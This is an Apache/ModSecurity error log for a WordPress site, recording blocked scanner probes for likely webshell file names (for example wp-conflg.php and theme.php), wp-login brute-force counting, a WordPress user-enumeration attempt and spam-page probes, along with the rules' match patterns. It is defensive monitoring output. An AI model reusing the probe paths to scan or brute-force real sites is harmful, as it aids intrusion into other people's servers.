[Sun Feb 08 03:58:44.129407 2026] [:error] [pid 24423:tid 24488] [client 23.100.100.51:55238] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/"] [unique_id "aYeZdE3f9n1Y0TpV5YZjUAAAAIM"]
[Sun Feb 08 03:58:45.283361 2026] [:error] [pid 24530:tid 24539] [client 23.100.100.51:33520] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/theme.php"] [unique_id "aYeZdUazNRCs1GRWrh7X1QAAAMc"]
[Sun Feb 08 03:58:45.802741 2026] [:error] [pid 24423:tid 24498] [client 23.100.100.51:28869] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/theme.php"] [unique_id "aYeZdU3f9n1Y0TpV5YZjVQAAAI0"]
[Sun Feb 08 03:58:46.271419 2026] [:error] [pid 24423:tid 24503] [client 23.100.100.51:4768] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/theme.php"] [unique_id "aYeZdk3f9n1Y0TpV5YZjWAAAAJI"]
[Sun Feb 08 03:58:47.106319 2026] [:error] [pid 24530:tid 24538] [client 23.100.100.51:26081] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/theme.php"] [unique_id "aYeZd0azNRCs1GRWrh7X3gAAAMY"]
[Sun Feb 08 03:58:48.041316 2026] [:error] [pid 24422:tid 24458] [client 23.100.100.51:4751] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aYeZeCNNjcLoSCLKhTdmSwAAAEA"]
[Sun Feb 08 03:58:48.696570 2026] [:error] [pid 24422:tid 24470] [client 23.100.100.51:28354] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aYeZeCNNjcLoSCLKhTdmTAAAAEw"]
[Sun Feb 08 03:58:49.259869 2026] [:error] [pid 24530:tid 24536] [client 23.100.100.51:4741] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aYeZeUazNRCs1GRWrh7X4wAAAMQ"]
[Sun Feb 08 03:58:49.738294 2026] [:error] [pid 24423:tid 24500] [client 23.100.100.51:34946] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aYeZeU3f9n1Y0TpV5YZjYAAAAI8"]
[Sun Feb 08 03:58:50.131603 2026] [:error] [pid 24530:tid 24554] [client 23.100.100.51:61839] [client 23.100.100.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aYeZekazNRCs1GRWrh7X5QAAANY"]
[Sun Feb 08 03:58:50.742647 2026] [:error] [pid 24421:tid 24444] [client 23.100.100.51:28902] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/st.php"] [unique_id "aYeZeqp7cTzhX5M1IP_46AAAAA0"]
[Sun Feb 08 03:58:51.971897 2026] [:error] [pid 24421:tid 24431] [client 23.100.100.51:4160] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/st.php"] [unique_id "aYeZe6p7cTzhX5M1IP_46wAAAAA"]
[Sun Feb 08 03:58:52.613588 2026] [:error] [pid 24421:tid 24439] [client 23.100.100.51:28402] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/st.php"] [unique_id "aYeZfKp7cTzhX5M1IP_48AAAAAg"]
[Sun Feb 08 03:58:53.455960 2026] [:error] [pid 24530:tid 24554] [client 23.100.100.51:33513] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/st.php"] [unique_id "aYeZfUazNRCs1GRWrh7X7AAAANY"]
[Sun Feb 08 03:58:54.450987 2026] [:error] [pid 24421:tid 24449] [client 23.100.100.51:28917] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aYeZfqp7cTzhX5M1IP_49wAAABI"]
[Sun Feb 08 03:58:54.874085 2026] [:error] [pid 24530:tid 24553] [client 23.100.100.51:4180] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aYeZfkazNRCs1GRWrh7X8AAAANU"]
[Sun Feb 08 03:58:55.324973 2026] [:error] [pid 24530:tid 24555] [client 23.100.100.51:28352] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aYeZf0azNRCs1GRWrh7X8gAAANc"]
[Sun Feb 08 03:58:56.366130 2026] [:error] [pid 24422:tid 24479] [client 23.100.100.51:4766] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aYeZgCNNjcLoSCLKhTdmUwAAAFU"]
[Sun Feb 08 03:58:56.841066 2026] [:error] [pid 24422:tid 24458] [client 23.100.100.51:23456] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-conflg.php"] [unique_id "aYeZgCNNjcLoSCLKhTdmVAAAAEA"]
[Sun Feb 08 03:58:57.466448 2026] [:error] [pid 24530:tid 24543] [client 23.100.100.51:50971] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-conflg.php"] [unique_id "aYeZgUazNRCs1GRWrh7X-AAAAMs"]
[Sun Feb 08 03:58:57.713124 2026] [:error] [pid 24423:tid 24488] [client 23.100.100.51:23808] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-conflg.php"] [unique_id "aYeZgU3f9n1Y0TpV5YZjZwAAAIM"]
[Sun Feb 08 03:58:58.049877 2026] [:error] [pid 24530:tid 24532] [client 23.100.100.51:4168] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-conflg.php"] [unique_id "aYeZgkazNRCs1GRWrh7X-QAAAMA"]
[Sun Feb 08 03:58:58.366719 2026] [:error] [pid 24530:tid 24556] [client 23.100.100.51:60759] [client 23.100.100.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aYeZgkazNRCs1GRWrh7X-wAAANg"]
[Sun Feb 08 03:58:58.798996 2026] [:error] [pid 24423:tid 24485] [client 23.100.100.51:50958] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aYeZgk3f9n1Y0TpV5YZjbAAAAIA"]
[Sun Feb 08 03:58:59.343517 2026] [:error] [pid 24530:tid 24555] [client 23.100.100.51:28363] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aYeZg0azNRCs1GRWrh7X_QAAANc"]
[Sun Feb 08 03:58:59.889603 2026] [:error] [pid 24530:tid 24538] [client 23.100.100.51:33922] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aYeZg0azNRCs1GRWrh7X_gAAAMY"]
[Sun Feb 08 03:59:00.263123 2026] [:error] [pid 24422:tid 24460] [client 23.100.100.51:28381] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aYeZhCNNjcLoSCLKhTdmWgAAAEI"]
[Sun Feb 08 03:59:00.860860 2026] [:error] [pid 24421:tid 24453] [client 23.100.100.51:33952] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYeZhKp7cTzhX5M1IP_5BAAAABY"]
[Sun Feb 08 03:59:01.185855 2026] [:error] [pid 24530:tid 24551] [client 23.100.100.51:33977] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYeZhUazNRCs1GRWrh7YAAAAANM"]
[Sun Feb 08 03:59:01.593998 2026] [:error] [pid 24530:tid 24550] [client 23.100.100.51:50984] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYeZhUazNRCs1GRWrh7YAgAAANI"]
[Sun Feb 08 03:59:01.894482 2026] [:error] [pid 24530:tid 24549] [client 23.100.100.51:43053] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYeZhUazNRCs1GRWrh7YAwAAANE"]
[Sun Feb 08 03:59:02.343043 2026] [:error] [pid 24530:tid 24532] [client 23.100.100.51:24947] [client 23.100.100.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aYeZhkazNRCs1GRWrh7YBQAAAMA"]
[Sun Feb 08 03:59:02.786311 2026] [:error] [pid 24422:tid 24469] [client 23.100.100.51:61878] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aYeZhiNNjcLoSCLKhTdmYAAAAEs"]
[Sun Feb 08 03:59:03.403192 2026] [:error] [pid 24530:tid 24543] [client 23.100.100.51:60741] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aYeZh0azNRCs1GRWrh7YCQAAAMs"]
[Sun Feb 08 05:44:12.235789 2026] [:error] [pid 56906:tid 56916] [client 43.166.246.180:38428] [client 43.166.246.180] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYeyLPxl3WX27-WXfDifrwAAAQg"]
[Sun Feb 08 06:05:17.861722 2026] [:error] [pid 24421:tid 24444] [client 143.198.91.88:60348] [client 143.198.91.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.91.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYe3Hap7cTzhX5M1IP8svQAAAA0"], referer: https://duckduckgo.com/
[Sun Feb 08 06:05:57.582009 2026] [:error] [pid 24422:tid 24473] [client 143.198.91.88:50214] [client 143.198.91.88] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aYe3RSNNjcLoSCLKhTeViAAAAE8"], referer: https://www.bing.com/
[Sun Feb 08 06:06:00.118760 2026] [:error] [pid 24422:tid 24462] [client 143.198.91.88:50214] [client 143.198.91.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.91.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYe3SCNNjcLoSCLKhTeViwAAAEQ"], referer: https://vetstars.com.au/wp-login.php
[Sun Feb 08 06:06:28.413994 2026] [:error] [pid 24422:tid 24474] [client 143.198.91.88:54851] [client 143.198.91.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.91.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYe3ZCNNjcLoSCLKhTeVrgAAAFA"], referer: https://vetstars.com.au/wp-login.php
[Sun Feb 08 06:06:55.022076 2026] [:error] [pid 24530:tid 24552] [client 143.198.91.88:58484] [client 143.198.91.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.91.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYe3f0azNRCs1GRWrh4DlgAAANQ"], referer: https://vetstars.com.au/wp-login.php
[Sun Feb 08 06:07:21.918870 2026] [:error] [pid 24530:tid 24541] [client 143.198.91.88:62338] [client 143.198.91.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.91.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYe3mUazNRCs1GRWrh4DpgAAAMk"], referer: https://vetstars.com.au/wp-login.php
[Sun Feb 08 06:28:52.843628 2026] [:error] [pid 24422:tid 24467] [client 147.135.252.138:54284] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYe8pCNNjcLoSCLKhTecfgAAAEk"]
[Sun Feb 08 06:28:55.377460 2026] [:error] [pid 24423:tid 24507] [client 147.135.252.138:37568] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYe8p03f9n1Y0TpV5YaUVAAAAJY"]
[Sun Feb 08 06:28:57.844167 2026] [:error] [pid 56906:tid 56908] [client 147.135.252.138:37586] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYe8qfxl3WX27-WXfDi0agAAAQA"]
[Sun Feb 08 06:29:00.364528 2026] [:error] [pid 24423:tid 24504] [client 147.135.252.138:37602] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYe8rE3f9n1Y0TpV5YaUVgAAAJM"]
[Sun Feb 08 06:29:02.864083 2026] [:error] [pid 24422:tid 24472] [client 147.135.252.138:49012] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYe8riNNjcLoSCLKhTecjgAAAE4"]
[Sun Feb 08 06:29:05.293753 2026] [:error] [pid 24421:tid 24444] [client 147.135.252.138:49030] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYe8sap7cTzhX5M1IP81JAAAAA0"]
[Sun Feb 08 06:29:07.908819 2026] [:error] [pid 24422:tid 24458] [client 147.135.252.138:49042] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYe8syNNjcLoSCLKhTeclwAAAEA"]
[Sun Feb 08 06:29:10.514568 2026] [:error] [pid 24422:tid 24466] [client 147.135.252.138:49046] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYe8tiNNjcLoSCLKhTecmgAAAEg"]
[Sun Feb 08 06:29:13.130133 2026] [:error] [pid 24421:tid 24431] [client 147.135.252.138:58958] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYe8uap7cTzhX5M1IP81NAAAAAA"]
[Sun Feb 08 06:29:15.574365 2026] [:error] [pid 56906:tid 56920] [client 147.135.252.138:58972] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYe8u_xl3WX27-WXfDi0ngAAAQw"]
[Sun Feb 08 06:29:18.025755 2026] [:error] [pid 24421:tid 24448] [client 147.135.252.138:58980] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYe8vqp7cTzhX5M1IP81PQAAABE"]
[Sun Feb 08 06:29:20.429429 2026] [:error] [pid 24422:tid 24477] [client 147.135.252.138:58984] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYe8wCNNjcLoSCLKhTecrwAAAFM"]
[Sun Feb 08 06:29:22.834207 2026] [:error] [pid 56906:tid 56919] [client 147.135.252.138:35912] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYe8wvxl3WX27-WXfDi0tAAAAQs"]
[Sun Feb 08 06:29:25.249207 2026] [:error] [pid 24530:tid 24538] [client 147.135.252.138:35938] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYe8xUazNRCs1GRWrh4JaQAAAMY"]
